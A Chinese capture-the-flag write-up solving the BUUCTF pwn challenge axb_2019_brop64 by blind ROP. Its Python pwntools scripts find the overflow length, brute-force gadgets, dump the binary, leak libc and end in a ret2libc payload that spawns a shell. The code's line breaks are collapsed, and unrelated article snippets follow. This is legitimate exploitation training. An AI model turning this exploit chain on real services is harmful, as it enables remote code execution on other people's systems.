当前位置: 首页 > news >正文

BUUCTF Pwn axb_2019_brop64 题解

这题是BROP 所以不下文件

先nc一下看看:

先要找到栈溢出长度:

from pwn import *
import timedef getsize():i = 1while True:try:p = remote("node5.buuoj.cn", 29367)p.sendafter("Please tell me:", b'a' * i)time.sleep(0.1)data = p.recv()p.close()if b"Goodbye!" not in data:return i - 1else:i += 1except EOFError:p.close()return i - 1size = getsize()
print(size)

运行后 找到溢出长度为216:

接下来,找stop gadget 这里用main函数作为stop gadget:

def getStopGadget():address = 0x4007d0while True:try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * 216 + p64(address)p.sendafter("Please tell me:", payload)print(payload)time.sleep(0.1)buf = p.recv()print(buf)output = p.recv()print(output)if b"Hello" not in output:p.close()address += 1else:return addressexcept EOFError:address += 1p.close()

找到gadget是0x4007d6

接下来要找brop gadgets 用csu_init的:

def GetBropGadget(size, stop_gadget, addr):try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * size + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10p.sendafter("Please tell me:", payload)time.sleep(0.1)buf = p.recv()print(buf)output = p.recv()p.close()print(output)if b"Hello" not in output:return Falsereturn Trueexcept EOFError:p.close()return Falsedef Check(size, addr):try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * size + p64(addr) + p64(0) * 10p.sendafter(b'Please tell me:', payload)time.sleep(0.1)output = p.recv()p.close()print(output)return Falseexcept EOFError:p.close()return True
addr = 0x400900
while True:print(hex(addr))if GetBropGadget(216,0x4007d6,addr):print("brop gadget: 0x%x"% addr)if Check(216,addr):print("brop gadget: 0x%x"% addr)breakaddr+=1

找到是0x40095a

找到了6个pop的地址 这个地址+9即为pop_rdi_ret 的地址

接下来找puts函数的PLT :

def getputsplt(size, pop_rdi_ret, stop_gadget):addr = 0x400600while True:print(hex(addr))try:p = remote("node5.buuoj.cn", 29367)payload = b'a'*size + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)p.sendafter(b'Please tell me:', payload)time.sleep(0.1)buf = p.recv()output = p.recv()p.close()if b'\x7fELF' in output: #ELF文件的头部魔数print('puts plt address = 0x%x' % (addr))return (addr)addr += 1except EOFError:p.close()addr += 1

接下来找puts的GOT:

def leak(size, pop_rdi_ret, puts_plt, leak_addr,stop_addr):p = remote("node5.buuoj.cn", 29367)payload = b'a'*size + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)p.sendafter(b'Please tell me:', payload)p.recvuntil(b'a' * size)p.recv(3)try:output = p.recv(timeout=1)p.close()try:output = output[:output.index(b"\nHello,I am a computer")]print(output)except Exception:output = outputif output == b"":output = b"\x00"return outputexcept Exception:p.close()return None
def dump_file(size, pop_rdi_ret, puts_plt,addr,stop_addr):result = b''while addr < 0x400835:print(hex(addr))output = leak(size, pop_rdi_ret, puts_plt,addr,stop_addr)if output is None:result += b'\x00'addr += 1continueelse:result += outputaddr += len(output)with open('dump_file','wb') as f:f.write(result)

生成的文件用IDA打开 二进制格式

之后在Edit->Segments->Rebase program 重设基地址为开始打印的地址:

找到对应plt地址:

puts GOT地址为 0x601018

接下来就是正常的libc:

def exp(size,pop_rdi_ret,puts_got,puts_plt,stop_gadget):p = remote("node5.buuoj.cn", 29367)libc = ELF('./libc-2.23.so')ret = 0x40095a + 0x9 + 0x5payload = b'a' * size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)p.sendafter(b'Please tell me:', payload)p.recvuntil(b'a'*size)p.recv(3)func_addr = p.recv(6)puts_addr = u64(func_addr.ljust(8,b'\x00'))print(hex(puts_addr))offset = puts_addr - libc.symbols['puts']system = offset + libc.symbols['system']binsh = offset + next(libc.search("/bin/sh\x00"))payload2 = b'a' * size + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)p.sendafter(b'Please tell me:', payload2)p.interactive()exp(size, pop_rdi_ret, puts_got, puts_plt, stop_gadget)

运行 得到flag:

好长🫥

相关文章:

BUUCTF Pwn axb_2019_brop64 题解

这题是BROP 所以不下文件 先nc一下看看&#xff1a; 先要找到栈溢出长度&#xff1a; from pwn import * import timedef getsize():i 1while True:try:p remote("node5.buuoj.cn", 29367)p.sendafter("Please tell me:", ba * i)time.sleep(0.1)data …...

85.[1] 攻防世界 WEB easyphp

进入靶场 属于代码审计 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;常用于调试或展示代码 highlight_file(__FILE__);// 初始化两个标志变量&#xff0c;用于后续条件判断 $key1 0; $key2 0;// 从 GET 请求中获取参数 a 和 b $a $_GET[a]; $b $_GET[b];// 检…...

动态规划学习

在进行算法题练习和一些题目中发现关于动态规划的内容较多&#xff0c;觉得有必要系统的学习和练习一下 于是参照bilbilUP主 英雄哪里出来 的动态规划50题和LeetKoke网站进行学习和练习 一 概述 动态规划 是一个有限状态自动机 可以抽象为一个有向无环图 有起始节点 终止节点 …...

数据结构【链栈】

基于 C 实现链表栈&#xff1a;原理、代码与应用 一、引言 栈就是一个容器&#xff0c;可以当场一个盒子&#xff0c;只能一个一个拿&#xff0c;一个一个放&#xff0c;而且是从上面放入。 有序顺序栈操作比较容易【会了链栈之后顺序栈自然明白】&#xff0c;所以我们这里只…...

软件测试02----用例设计方法

今天目标 1.能对穷举场景设计测试点 2.能对限定边界规则设计测试点 3.能对多条件依赖关系进行设计测试点 4.能对项目业务进行设计测试点 一、解决穷举场景 重点&#xff1a;使用等价类划分法 1.1等价类划分法 重点&#xff1a;有效等价和单个无效等价各取1个即可。 步骤&#…...

编程AI深度实战:给vim装上AI

系列文章&#xff1a; 编程AI深度实战&#xff1a;私有模型deep seek r1&#xff0c;必会ollama-CSDN博客 编程AI深度实战&#xff1a;自己的AI&#xff0c;必会LangChain-CSDN博客 编程AI深度实战&#xff1a;给vim装上AI-CSDN博客 编程AI深度实战&#xff1a;火的编程AI&…...

《DeepSeek R1:大模型最简安装秘籍》

DeepSeek R1&#xff1a;AI 大模型界的新起之秀 在人工智能的璀璨星空中&#xff0c;大模型如繁星般闪耀&#xff0c;而 DeepSeek R1 无疑是其中一颗冉冉升起的新星&#xff0c;自问世以来便吸引了全球的目光&#xff0c;在人工智能领域占据了重要的一席之地。 从性能表现上看…...

物业管理平台系统为社区管理带来数字化转型与服务创新新机遇

内容概要 物业管理平台系统是数字化转型的利器&#xff0c;为社区管理带来了许多新机遇。想象一下&#xff0c;传统社区物业管理中繁琐的流程和低效的沟通如何被这种智能系统所替代。通过集成在线收费功能&#xff0c;我们不仅提高了费用收取的准确性&#xff0c;还减少了业主…...

红黑树的封装

一、封装思路 在 STL 中 map set 的底层就是封装了一棵红黑树。 其中连接红黑树和容器的是迭代器&#xff0c;map set 暴露出的接口都不是自己写的&#xff0c;而是红黑树写的&#xff0c;外部接口封装红黑树接口。 所以写出红黑树为 map set 写的接口&#xff0c;再在上层的…...

25.2.3 【洛谷】作为栈的复习不错(学习记录)

今天学习的东西不算多&#xff0c;放了一个星期假&#xff0c;感觉不少东西都没那么清楚&#xff0c;得复习一下才行。今天搞个栈题写&#xff0c;把栈复习一下&#xff0c;明天进入正轨&#xff0c;边复习边学习新东西&#xff0c;应该会有二叉树的学习等等... 【洛谷】P1449 …...

MFC程序设计(七)运行时类信息机制

运行时类信息机制的作用 我们在创建对象时&#xff0c;自己是清楚对象属于哪个类&#xff0c;但是计算机却不清楚。而MFC运行时类信息机制就是解决这个问题而存在的 运行时类信息机制的使用 我们在创建一个类时&#xff0c;只有满足以上三个条件&#xff0c;该类才能支持运行时…...

fflush的概念和使用案例

fflush() 是C语言标准库中用于控制输入/输出缓冲区的函数&#xff0c;其主要功能是强制刷新缓冲区&#xff0c;确保数据及时写入目标设备&#xff08;如屏幕、文件&#xff09;。以下是其概念和典型使用场景&#xff1a; 概念 功能&#xff1a; 刷新指定流的缓冲区。对于输出流…...

嵌入式知识点总结 操作系统 专题提升(四)-上下文

针对于嵌入式软件杂乱的知识点总结起来&#xff0c;提供给读者学习复习对下述内容的强化。 目录 1.上下文有哪些?怎么理解? 2.为什么会有上下文这种概念? 3.什么情况下进行用户态到内核态的切换? 4.中断上下文代码中有哪些注意事项&#xff1f; 5.请问线程需要保存哪些…...

React 封装高阶组件 做路由权限控制

React 高阶组件是什么 官方解释∶ 高阶组件&#xff08;HOC&#xff09;是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分&#xff0c;它是一种基于 React 的组合特性而形成的设计模式。 高阶组件&#xff08;HOC&#xff09;就是一个函数&…...

【实践案例】基于大语言模型的海龟汤游戏

文章目录 项目背景提示词构建海龟汤主持人真相判断专家 具体实现流程文心一言大语言模型“海龟汤”插件参考 项目背景 “海龟汤”作为一种聚会类桌游&#xff0c;又称情境推理游戏&#xff0c;是一种猜测情境还原事件真相的智力游戏。其玩法是由出题者提出一个难以理解的事件&…...

NeetCode刷题第20天(2025.2.1)

文章目录 106 Best Time to Buy and Sell Stock with Cooldown 使用 Cooldown 买卖股票的最佳时间107 Coin Change II 换币 II108 Target Sum 目标总和109 Interleaving String 交错字符串110 Edit Distance 编辑距离111 Maximum Subarray 最大子数组112 Jump Game 跳跃游戏113…...

DeepSeek:人工智能领域的革新者与未来展望

在当今这个数据驱动的时代&#xff0c;人工智能&#xff08;AI&#xff09;正以前所未有的速度发展&#xff0c;而DeepSeek作为这一领域的先锋&#xff0c;正引领着AI技术的创新与突破。作为一家致力于推动人工智能技术创新与应用的前沿企业&#xff0c;DeepSeek不仅在多语言编…...

Spring Bean 容器

技术成长&#xff0c;是对场景设计细节不断的雕刻&#xff01; 你觉得自己的技术什么时候得到了快速的提高&#xff0c;是CRUD写的多了以后吗&#xff1f;想都不要想&#xff0c;绝对不可能&#xff01;CRUD写的再多也只是能满足你作为一个搬砖工具人&#xff0c;敲击少逻辑流…...

Flask代码审计实战

文章目录 Flask代码审计SQL注入命令/代码执行反序列化文件操作XXESSRFXSS其他 审计实战后记reference Flask代码审计 SQL注入 1、正确的使用直白一点就是&#xff1a;使用”逗号”&#xff0c;而不是”百分号” stmt "SELECT * FROM table WHERE id?" connectio…...

springboot启动配置文件-bootstrap.yml常用基本配置

在Spring Boot应用程序中&#xff0c;bootstrap.yml文件通常用于配置应用程序的启动阶段。在这个文件中&#xff0c;你可以配置一些在应用程序启动之前需要加载的属性&#xff0c;例如外部配置源、加密属性等。以下是一些常用的基本配置项&#xff1a; 1. 外部配置源 1.1 配置…...

BilibiliDown终极指南:三步搞定B站视频下载,支持批量收藏夹与UP主作品

BilibiliDown终极指南&#xff1a;三步搞定B站视频下载&#xff0c;支持批量收藏夹与UP主作品 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader &#x1f633; 项目地址: https:…...

MacBook Pro用户必看:5分钟搞定StarUML破解(M1/M2芯片专用指南)

M1/M2芯片MacBook高效配置StarUML全流程指南 当你在M1/M2芯片的MacBook上第一次打开StarUML时&#xff0c;可能会遇到各种兼容性问题。作为一款强大的UML建模工具&#xff0c;StarUML在ARM架构下的表现确实有些水土不服。但别担心&#xff0c;经过多次实践&#xff0c;我总结出…...

RimSort:重新定义RimWorld模组管理的智能工具

RimSort&#xff1a;重新定义RimWorld模组管理的智能工具 【免费下载链接】RimSort 项目地址: https://gitcode.com/gh_mirrors/ri/RimSort 当你花费数小时手动调整上百个RimWorld模组的加载顺序&#xff0c;却依然遭遇游戏崩溃时&#xff1b;当你在多个平台间切换下载…...

2026年漏水传感器选购指南:这5个品牌让您家远离水患隐患

随着智能家居与工业自动化水平的提升&#xff0c;漏水传感器作为预防水患的关键设备&#xff0c;其市场需求和技术要求日益增长。在2026年的当下&#xff0c;行业面临着从民用住宅到数据中心、从能源化工到精密制造等多场景的复杂挑战。本文将深入分析当前漏水传感器领域的技术…...

Polars 2.0清洗卡顿?,一文讲透Arrow IPC缓存、predicate pushdown与schema inference协同配置逻辑

第一章&#xff1a;Polars 2.0清洗卡顿现象的根因诊断Polars 2.0 在大规模数据清洗场景中偶发的卡顿并非源于计算能力不足&#xff0c;而是由内存管理策略变更与惰性执行链中隐式物化点触发不当共同导致。核心问题集中在 lazy() 查询计划在遭遇特定 I/O 模式或类型推断失败时&a…...

嵌入式LED条形图库BarChart:轻量级数值可视化方案

1. BarChart 库概述BarChart 是一个面向嵌入式平台的轻量级可视化输出库&#xff0c;专为资源受限的微控制器设计&#xff0c;其核心目标是将数值型数据以直观的条形图&#xff08;Bar Chart&#xff09;形式呈现。该库不依赖图形 LCD 或 OLED 屏幕&#xff0c;而是充分利用两类…...

EasyDarwin流媒体服务器初体验:除了RTMP推流,它的管理后台还能怎么玩?

EasyDarwin流媒体服务器深度探索&#xff1a;从RTMP推流到全功能实战 第一次接触EasyDarwin时&#xff0c;大多数人可能只是把它当作一个简单的RTMP推流工具——上传视频、获取流地址、完成播放&#xff0c;流程看似简单直接。但当我真正深入使用这个开源流媒体服务器后&#x…...

10个企业级Windows自动化场景:pywinauto终极应用指南

10个企业级Windows自动化场景&#xff1a;pywinauto终极应用指南 【免费下载链接】pywinauto pywinauto/pywinauto: 一个 Python 库&#xff0c;用于自动化 Windows 应用程序。特点是提供了丰富的函数和类库&#xff0c;可以用于控制鼠标、键盘和菜单等元素&#xff0c;实现自动…...

终极指南:Ledger会计系统数据备份与灾难恢复策略

终极指南&#xff1a;Ledger会计系统数据备份与灾难恢复策略 【免费下载链接】ledger Double-entry accounting system with a command-line reporting interface 项目地址: https://gitcode.com/gh_mirrors/le/ledger Ledger作为一款强大的复式记账系统&#xff0c;其核…...

RTKLIB解算精度上不去?可能是这5个RTKNAVI选项你没调对(附参数优化建议)

RTKLIB解算精度优化实战&#xff1a;5个关键参数设置与场景化调优指南 当你已经能够熟练运行RTKNAVI完成基本定位解算&#xff0c;却发现动态RTK结果总在浮点解徘徊、固定率忽高忽低&#xff0c;或是基线稍长就精度骤降时&#xff0c;问题往往藏在那些容易被忽略的高级参数里。…...